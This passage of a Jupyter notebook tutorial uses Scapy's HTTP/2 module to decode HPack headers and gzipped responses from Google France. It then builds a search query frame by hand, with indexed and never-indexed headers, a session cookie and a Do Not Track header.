\\xd4\\xc0\\x19,\\x82\\x93\\x93C\\xe00@d`\\x8a\\x82\\xcc\\'\\xdb8\\x15\\x05\\xb4jU\\x9eX\\x97\\x9d\\x86\\xacw\\x15H\\xf9\\xbb\\xe3uu\\xabkM\\x15iL\\'\\x98\\xe2\\x1f\\xcf\\xb6{7\\xdc\\x98\\x05\\xb6\\x97\\xdc\\xd8\\x9a\\xdf,\\xa1@\\x9ao\\xc9\\xab\\xfbncj\\xdcZFy\\xe5\\xddS\\x92\\xf4\\xa4\\xcc\\xceD\\x91\\xb7\\xdb\\x0e)/\\xbb\\x89\"S(\\x08\\x02\\xaa*%\\\\f\\xc8\\x96(\\xd5\\r\\x0bi\\x0e\\xaeQ\\xa7\\x03?\\xdd\\xde\\xae@U~\\x9fN\\xa7\\xed\\xdafR\\x97:\\xed\\xba\\xba9~A\\x92\\xa4\\x98\\xa9\\xe5\\xf1k\\x8a\\x9a\\x90\\x962\\xb0r&\\xb0\\xd6\\x9b\\x9cf\\x0e!g?\\x83\\xf0\\x1e\\xab\\x8c\\xd2\\xfe\\xdd\\x9a\\x1dO\\x08\\n\\x95i\\xce\\xa9\\x8f\\xb9\\xc0\\x82\\xc6\\xb04L\\xaf\\x10?\"\\xa6x,\\x8a*\\xcb8D#\\xb2\\r;\\xcc\\xab\\xda\\x80\\x96+\\xabJ\\x13\\xb0&\\xec\\xf0\\xab\\xedM\\x8c\\xf1\\x8f\\xe4\\xac\\x93\\xb8<\\x83x |9T\\xa1\\x96~\\xd2^\\xf1\\xa9,\\xbc\\xab\\xf9CP/p\\x05\\xcf&\\x97o^\\x9d\\x98\\xe6\\xd8:\\xd1\\xc1\\x00\\xe5\\xfbI\\xe8\\xfb,i(*<\\xdc\\x84%\\xf12\\xfa\\nf9\\xcc\\xd3\"\\xf7\\xd8\\x1eJ\\xcde\\x99\\xeda\\xbb\\xe1\\xcd7\\xb9\\xb9\\xe1\\xf2\\xc1\\xf8v\\xbb\\x10\\x9f\\x93=\\xff\\x1dn\\x0f\\xc3x\\xdeP\\xb4\\x86\\xe1\\xae[`\\xd9\\xd7\\xd4v\\xf5\\xde\\x18\\xd7\\xc7A\\x05\\xdd\\xe4a1\\x07NY\\xe0\\xddg\\x9c\\xe1=\\x9eCR(\\x94\\xea\\xa5@)\\xd7\\x88\\xd9\\xf8rS\\x06(\\xb5W\\xc7\\xf46bI \\xed\\xa7\\x8d\\xccZ\\xa9\\xd7 \\x07\\xf8\\xa7C\\xc6S\\xb2\\xf5\\xa5z\\xcd\\xed\\xe3\\'\\n$#\\xf2V\\x05\\xbb\\x1dXd7Bo\\xfb\\x9a\\xc5=\\\\S\\xa5j\\x91<\\xafu\\xcd\\x0b7\\x0e\\x05i\\xc2};\\x13\\xfc_\\xe7\\xfd\\xe5\\x88\\x86\\x8a\\xcf\\x94\\x88\\xe2\\xebZ\\xe2\\xb5\\'\\xbe\\xc4]\\xedE\\xa1w\\x05\\xce\\xb9\\x90\\xd7S}\\xdc@P\\x93I\\xea\\x9e\\xec\\x815{W\\xccwt[aP]*`\\x91\\xe6\\xda\\njR?M\\xfd\\x08\"\\xd3\\xd1w\\xa4\\xa8\\xf7J\\xb5F8\\xda\\xe1qi/\\xe04;gg\\xb75yo@\\xfd\\x15\\xca\\xe0\\xcf\\xab\\x0b\\xac2}\\xd08\\xb3\\xeb\\xf7\\t\\x07,\\xb5\\xd55E\\xf4/\\xb2P\\xd82\\xc1\\xf7\\xc8\\x02\\xa2)$\\xae4\\xe2_\\xe1\\xf1\\xaa\\x10a\\xc4\\x15\\xf0\\x81\\xa0\\x80\\xc4\\x89i\\x93\\x97Y\\x06\\xe5\\x18\\x08\\x8c82\\x98\\xd4\\xba\\xc7X\\x19\\xb8\\xabZ\\xbd\\xf2\\xf3\\xd1\\xdd\\xa8\\xa3jP\\xcd\\xdb\\xb4\\x817\\x1e\\x1c\\xf3\\x1ei\\'\\xa7\\xca\\r\\xb7a\\xd4\\x1c\\xfeh\\xc7p|\\xac7\\x1d^8\\x91v\\xf4\\xabk\\x06\\xa0I1\\x12}\\x85\\x0f$\\x1b\\xb1;V\\xedI\\xdd\\xc2\\xe3\\x15l\\xb6\\xf6u[\\x1d\\xd5$_\\xc8{-M\\xd6U\\x13\\xf5\\xb1bz\\x83whX=)Y\\xe1\\x82W\\x85\\x82\\x86U\\xc1\\xb0%\\xe1e\\xf6\\xdf\\xc5\\xf7\\x8f`\\x0eHHy\\xc8wm\\xb5\\xad\\x90\\x8b\\x9d\\x1aB\\xd7&\\x96\\xa6\\x8f\\xcc\\x89i\\xe2\\x83\\x98\\xa1\\x19\\xa6aT\\xa7-99_\\xa2\\xf8\\xc7\\xf5\\x13.}l\\xd1.\\x94I}|x&g\\xff\\xad\\xe0\\x03p\\xcaq\\xa7{\\xe25x\\x17\\x11C0\\xf3\\xe4\\xe1Y\\xa5\\x8e\\xdf\\x87\\x08\\t=\\xf5\\xd4u\\xbb\\x9a\\x96v:n\\xa7\\xd3\\xa5\\x07\\xceV\\xae\\xbe\\x94\\xe6\\xfe\\xde\\xdd\\xe9,e\\xdd\\xbe\\x88@Y\\xd5%D\\xc5\\xbf\\x83\\x92%\\xbe\\xbb<\\xe9T\\x8f.\\x90\\xa3\\xabW\\x17\\xc8\\xc6\\xf2\\xd5e\\xf7\\xed\\xe7\\xea\\xe2\\xb2\\xb7\\xf7\\xb2\\xf0\\x95\\xc3\\xf3\\xed\\'\\xee\\x93\\xbd\\x13\\x0bv\\x86\\x8f_7\\xd4\\x9f\\x8a\\xd7u\\x1b\\xa3\\xf1\\xf2\\xa5\\x0fv\\xccC\\x035\\xe7y/\\x87\\x8a\\x92U\\x1a\\xec\\x92\\x927\\xe9\\xd9T\\xde\\x1b\\xb8\\xad{\\x00V\\xeb\\xf9\\xa7\\xbbK\\xbf[\\xae\\xb0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n", " | padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n", "\n" ] } ], "prompt_number": 113 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, I don't know about you, but I can't read this :) Let's use the helpers to help us out.\n", "\n", "First we need to create a new Header table that is meaningful for headers received from the server. We set the various sizes to the values we defined in our settings." ] }, { "cell_type": "code", "collapsed": false, "input": [ "srv_tblhdr = h2.HPackHdrTable(dynamic_table_max_size=max_hdr_tbl_sz, dynamic_table_cap_size=max_hdr_tbl_sz)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 114 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now convert all received headers into their textual representation, and stuff the data frames into a buffer per stream." ] }, { "cell_type": "code", "collapsed": false, "input": [ "# Structure used to store textual representation of the stream headers\n", "stream_txt = {}\n", "# Structure used to store data from each stream\n", "stream_data = {}\n", "\n", "# For each frame we previously received\n", "for frame in stream.frames:\n", " # If this frame is a header\n", " if frame.type == h2.H2HeadersFrame.type_id:\n", " # Convert this header block into its textual representation.\n", " # For the sake of simplicity of this tutorial, we assume \n", " # that the header block is not large enough to require a Continuation frame\n", " stream_txt[frame.stream_id] = srv_tblhdr.gen_txt_repr(frame)\n", " # If this frame is data\n", " if frame.type == h2.H2DataFrame.type_id:\n", " if frame.stream_id not in stream_data:\n", " stream_data[frame.stream_id] = []\n", " stream_data[frame.stream_id].append(frame)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 115 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we can print the headers from the Favicon response." ] }, { "cell_type": "code", "collapsed": false, "input": [ "print(stream_txt[3])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ ":status 200\n", "vary: Accept-Encoding\n", "content-encoding: gzip\n", "content-type: image/x-icon\n", "date: Thu, 08 Dec 2016 06:23:59 GMT\n", "expires: Fri, 16 Dec 2016 06:23:59 GMT\n", "last-modified: Thu, 08 Dec 2016 01:00:57 GMT\n", "x-content-type-options: nosniff\n", "server: sffe\n", "content-length: 1494\n", "x-xss-protection: 1; mode=block\n", "cache-control: public, max-age=691200\n", "age: 472252\n", "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n" ] } ], "prompt_number": 116 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So, we received a 200 status code, meaning that we received the favicon. We also can see that the favicon is GZipped. Let's uncompress it and display it in this notebook." ] }, { "cell_type": "code", "collapsed": false, "input": [ "import zlib\n", "img = zlib.decompress(stream_data[3][0].data, 16+zlib.MAX_WBITS)\n", "from IPython.core.display import HTML\n", "HTML(''.format(img.encode('base64')))" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "" ], "metadata": {}, "output_type": "pyout", "prompt_number": 117, "text": [ "" ] } ], "prompt_number": 117 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now read the frontpage response." ] }, { "cell_type": "code", "collapsed": false, "input": [ "print(stream_txt[1])" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ ":status 200\n", "date: Tue, 13 Dec 2016 17:34:51 GMT\n", "expires: -1\n", "cache-control: private, max-age=0\n", "content-type: text/html; charset=ISO-8859-1\n", "p3p: CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\"\n", "content-encoding: gzip\n", "server: gws\n", "content-length: 4420\n", "x-xss-protection: 1; mode=block\n", "x-frame-options: SAMEORIGIN\n", "set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\n", "alt-svc: quic=\":443\"; ma=2592000; v=\"35,34\"\n" ] } ], "prompt_number": 118 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So, we received a status code 200, which means that we received a page. Let's \"visualize it\"." ] }, { "cell_type": "code", "collapsed": false, "input": [ "data = ''\n", "for frgmt in stream_data[1]:\n", " data += frgmt.payload.data\n", "\n", "HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode('UTF-8', 'ignore'))" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "Google

France

 

Recherche avanceOutils linguistiques

© 2016 - Confidentialit - Conditions

" ], "metadata": {}, "output_type": "pyout", "prompt_number": 119, "text": [ "" ] } ], "prompt_number": 119 }, { "cell_type": "heading", "level": 2, "metadata": {}, "source": [ "Throwing a query!" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's now query Google! For this, we will build a new query without the helpers, to explore the low-level parts of the HTTP/2 Scapy module.\n", "First, we will get the cookie that we were given. For this, we will search for the set-cookie header that we received." ] }, { "cell_type": "code", "collapsed": false, "input": [ "from io import BytesIO\n", "sio = BytesIO(stream_txt[1])\n", "cookie = [val[len('set-cookie: '):].strip() for val in sio if val.startswith('set-cookie: ')]\n", "print(cookie)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "['NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly']\n" ] } ], "prompt_number": 120 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we build the query by hand. Let's create the Header frame, so that we can later stuff all the header \"lines\" in it. This is a new stream, and we already used the stream ids 1 and 3, so we will use the stream id 5, which is the next available. We will set the \"End Stream\" and \"End Headers\" flags. The End Stream flag means that they are no more frames (except header frames...) after this one in this stream. The End Headers flag means that there are no Continuation frames after this frame. Continuation frames can be used to add more headers than one could fit in previous H2HeaderFrame and Continuation frames...\n", "\n", "Our frame will contain little headers and we set very large limits for this tutorial, so we will skip all the checks, but they should be done! The helpers does them, by the way." ] }, { "cell_type": "code", "collapsed": false, "input": [ "hdrs_frm = h2.H2Frame(flags={'ES', 'EH'}, stream_id=5)/h2.H2HeadersFrame()" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 121 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Then, we have to specify the pseudo headers. These headers are the equivalent of \"GET / HTTP/1.1\\nHost: www.google.fr\" of old.\n", "For this, we specify that this is a GET query over HTTPS, along with the path, and the \"authority\", which is the new \"Host:\".The GET Method and the HTTPS scheme are part of the static HPack table, according to RFC7541. Let's get the index of these headers and put them into HPackIndexedHdr packets." ] }, { "cell_type": "code", "collapsed": false, "input": [ "get_hdr_idx = tblhdr.get_idx_by_name_and_value(':method', 'GET')\n", "get_hdr = h2.HPackIndexedHdr(index = get_hdr_idx)\n", "get_hdr.show()\n", "hdrs_frm.payload.hdrs.append(get_hdr)\n", "\n", "https_hdr_idx = tblhdr.get_idx_by_name_and_value(':scheme', 'https')\n", "https_hdr = h2.HPackIndexedHdr(index = https_hdr_idx)\n", "https_hdr.show()\n", "hdrs_frm.payload.hdrs.append(https_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 2\n", "\n", "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 7\n", "\n" ] } ], "prompt_number": 122 }, { "cell_type": "markdown", "metadata": {}, "source": [ "For the path, we will use \"/search?q=scapy\". The path might be a sensitive value, since it may contain values that we might not want to leak via side-channel attacks (here the query topic). For this reason, we will specify the path using a HPackLitHdrFldWithoutIndexing, which means that we don't want indexing. We also need to set the never_index bit, so that if there are intermediaries between us and the HTTP server, they will not try to compress this header.\n", "Before setting this header, though, we have to choose whether we want to compress the *string* \"/search?q=scapy\" using Huffman encoding. Let's compress it and compare its wire-length with the uncompressed version." ] }, { "cell_type": "code", "collapsed": false, "input": [ "z_str = h2.HPackZString('/search?q=scapy')\n", "unz_str = h2.HPackLiteralString('/search?q=scapy')\n", "\n", "print(len(str(z_str)), len(str(unz_str)))" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "(12, 15)\n" ] } ], "prompt_number": 123 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So the compressed version is smaller. Let's use it, since HTTP/2 is all about performances and compression. \n", "\n", "\":path\" is the pseudo-header to define the query path. While we don't want to compress the *value* of the query path, the name can be compressed. As it happens, the \":path\" header name is in the static header table. For this reason, we will search of its index, and then build the header." ] }, { "cell_type": "code", "collapsed": false, "input": [ "path_hdr_idx = tblhdr.get_idx_by_name(':path')\n", "path_str = h2.HPackHdrString(data = z_str)\n", "path_hdr = h2.HPackLitHdrFldWithoutIndexing(\n", " never_index=1, \n", " index=path_hdr_idx,\n", " hdr_value=path_str\n", ")\n", "path_hdr.show()\n", "hdrs_frm.payload.hdrs.append(path_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " magic = 0\n", " never_index= Never Index\n", " index = 4\n", " \\hdr_value \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackZString(/search?q=scapy)'\n", "\n" ] } ], "prompt_number": 124 }, { "cell_type": "markdown", "metadata": {}, "source": [ "The final missing pseudo-header is the new \"Host\" header, called \":authority\". \":authority\" is in the static header table, so we *could* use it. As it happens, we can do better because we previously indexed \":authority\" *with the value* \"www.google.fr\". Let's search for the index of this entry in the dynamic table. With luck, the server header table size is large enough so that the value is still inside it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "host_hdr_idx = tblhdr.get_idx_by_name_and_value(':authority', dn)\n", "assert(not isinstance(host_hdr_idx, type(None)))\n", "print(host_hdr_idx)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "66\n" ] } ], "prompt_number": 125 }, { "cell_type": "markdown", "metadata": {}, "source": [ "So, the \":authority www.google.fr\" header is still in the dynamic table. Let's add it to the header list." ] }, { "cell_type": "code", "collapsed": false, "input": [ "host_hdr = h2.HPackIndexedHdr(index=host_hdr_idx)\n", "host_hdr.show()\n", "hdrs_frm.payload.hdrs.append(host_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 66\n", "\n" ] } ], "prompt_number": 126 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now that we added all the pseudo-headers, let's add the \"real\" ones. The compression header is in the static table, so we just need to look it up." ] }, { "cell_type": "code", "collapsed": false, "input": [ "z_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-encoding', 'gzip, deflate')\n", "z_hdr = h2.HPackIndexedHdr(index = z_hdr_idx)\n", "z_hdr.show()\n", "hdrs_frm.payload.hdrs.append(z_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 16\n", "\n" ] } ], "prompt_number": 127 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We also need to create the header for our new cookie. Cookie are sensitive. We don't want it to be indexed and we don't want any intermediate to index it. As such, we will use a HPackLitHdrFldWithoutIndexing and with the never_index bit set, here as well. The name \"cookie\", though, happens to be in the RFC7541 static headers table, so we will use it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "cookie_hdr_idx = tblhdr.get_idx_by_name('cookie')\n", "cookie_str = h2.HPackHdrString(data = h2.HPackZString(cookie[0]))\n", "cookie_hdr = h2.HPackLitHdrFldWithoutIndexing(\n", " never_index = 1,\n", " index = cookie_hdr_idx,\n", " hdr_value = cookie_str\n", ")\n", "cookie_hdr.show()\n", "hdrs_frm.payload.hdrs.append(cookie_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " magic = 0\n", " never_index= Never Index\n", " index = 32\n", " \\hdr_value \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", "\n" ] } ], "prompt_number": 128 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Also, we need to specify that we read French. Once more, the \"accept-language\" header is in the HPack static table, but \"fr-Fr\" might not be. Let's see if we did index that earlier." ] }, { "cell_type": "code", "collapsed": false, "input": [ "acceptlang_hdr_idx = tblhdr.get_idx_by_name_and_value('accept-language', 'fr-FR')\n", "print(acceptlang_hdr_idx)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "65\n" ] } ], "prompt_number": 129 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Excellent! This is an entry of the dynamic table and we can use it in this session! Let's use it with an HPackIndexedHdr packet." ] }, { "cell_type": "code", "collapsed": false, "input": [ "acceptlang_hdr = h2.HPackIndexedHdr(index = acceptlang_hdr_idx)\n", "acceptlang_hdr.show()\n", "hdrs_frm.payload.hdrs.append(acceptlang_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 65\n", "\n" ] } ], "prompt_number": 130 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Let's do the same thing quickly for the other headers." ] }, { "cell_type": "code", "collapsed": false, "input": [ "accept_hdr_idx = tblhdr.get_idx_by_name_and_value('accept', 'text/html')\n", "accept_hdr = h2.HPackIndexedHdr(index = accept_hdr_idx)\n", "accept_hdr.show()\n", "hdrs_frm.payload.hdrs.append(accept_hdr)\n", "ua_hdr_idx = tblhdr.get_idx_by_name_and_value('user-agent', 'Scapy HTTP/2 Module')\n", "ua_hdr = h2.HPackIndexedHdr(index = ua_hdr_idx)\n", "ua_hdr.show()\n", "hdrs_frm.payload.hdrs.append(ua_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 64\n", "\n", "###[ HPack Indexed Header Field ]### \n", " magic = 1\n", " index = 63\n", "\n" ] } ], "prompt_number": 131 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Now, we forget a piece in our previous queries regarding privacy: I want to add a Do Not Track header (https://tools.ietf.org/html/draft-mayer-do-not-track-00). Let's add this header into every subsequent queries. For this reason, I want to have it indexed. It is worth noting that the \"DNT\" header is not part of the HPack static table (how curious?). Finally, the value of this header is just 1. We might actually save a few bits by NOT compressing this value." ] }, { "cell_type": "code", "collapsed": false, "input": [ "dnt_name_str = h2.HPackLiteralString('dnt')\n", "dnt_val_str = h2.HPackLiteralString('1')\n", "dnt_name = h2.HPackHdrString(data = dnt_name_str)\n", "dnt_value = h2.HPackHdrString(data = dnt_val_str)\n", "dnt_hdr = h2.HPackLitHdrFldWithIncrIndexing(\n", " hdr_name = dnt_name,\n", " hdr_value = dnt_value\n", ")\n", "dnt_hdr.show()\n", "hdrs_frm.payload.hdrs.append(dnt_hdr)" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HPack Literal Header With Incremental Indexing ]### \n", " magic = 1\n", " index = 0\n", " \\hdr_name \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackLiteralString(dnt)'\n", " \\hdr_value \\\n", " |###[ HPack Header String ]### \n", " | type = None\n", " | len = None\n", " | data = 'HPackLiteralString(1)'\n", "\n" ] } ], "prompt_number": 132 }, { "cell_type": "markdown", "metadata": {}, "source": [ "We are not done yet with the DNT header, though. We also need to insert it into the HPack Dynamic table, so that later lookups will find it." ] }, { "cell_type": "code", "collapsed": false, "input": [ "tblhdr.register(dnt_hdr)" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 133 }, { "cell_type": "markdown", "metadata": {}, "source": [ "Phew! We made it! Let's see what we got so far." ] }, { "cell_type": "code", "collapsed": false, "input": [ "hdrs_frm.show2()" ], "language": "python", "metadata": {}, "outputs": [ { "output_type": "stream", "stream": "stdout", "text": [ "###[ HTTP/2 Frame ]### \n", " len = 0xc5\n", " type = HdrsFrm\n", " flags = set(['End Stream (ES)', 'End Headers (EH)'])\n", " reserved = 0L\n", " stream_id = 5L\n", "###[ HTTP/2 Headers Frame ]### \n", " \\hdrs \\\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 2\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 7\n", " |###[ HPack Literal Header Without Indexing (or Never Indexing) ]### \n", " | magic = 0\n", " | never_index= Never Index\n", " | index = 4\n", " | \\hdr_value \\\n", " | |###[ HPack Header String ]### \n", " | | type = Compressed\n", " | | len = 12\n", " | | data = 'HPackZString(/search?q=scapy)'\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 66\n", " |###[ HPack Indexed Header Field ]### \n", " | magic = 1\n", " | index = 16\n", " |###[ HPack Literal 